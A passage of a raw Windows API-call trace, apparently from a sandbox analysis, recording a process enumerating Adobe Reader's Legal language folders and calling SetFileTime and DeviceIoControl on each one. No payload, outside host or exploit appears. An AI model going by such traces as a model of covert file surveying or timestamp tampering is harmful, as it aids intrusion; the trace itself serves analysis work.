0x124c7c0 [0081.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12020f8 [0081.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1266d10 [0081.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.537] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.537] GetLastError () returned 0x12 [0081.537] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.538] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.538] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.538] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.538] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.538] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.538] GetLastError () returned 0x12 [0081.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.538] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0081.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.539] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.540] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.540] NtClose (Handle=0x168) returned 0x0 [0081.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.541] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.542] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.542] GetLastError () returned 0x12 [0081.542] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.542] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.542] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.542] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.542] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.542] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd746, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.542] GetLastError () returned 0x12 [0081.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.542] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.543] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0081.543] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.545] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273d68 [0081.546] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273d68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273d68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273d68) returned 1 [0081.546] NtClose (Handle=0x178) returned 0x0 [0081.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.546] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.546] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.547] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202158 [0081.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267028 [0081.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.548] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202178 [0081.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267130 [0081.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6840) returned 0x12527c8 [0081.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0081.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.550] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.550] GetLastError () returned 0x12 [0081.550] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.550] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.550] GetLastError () returned 0x12 [0081.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.550] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.551] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0081.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.551] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.552] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.552] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.552] NtClose (Handle=0x168) returned 0x0 [0081.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.553] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.553] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 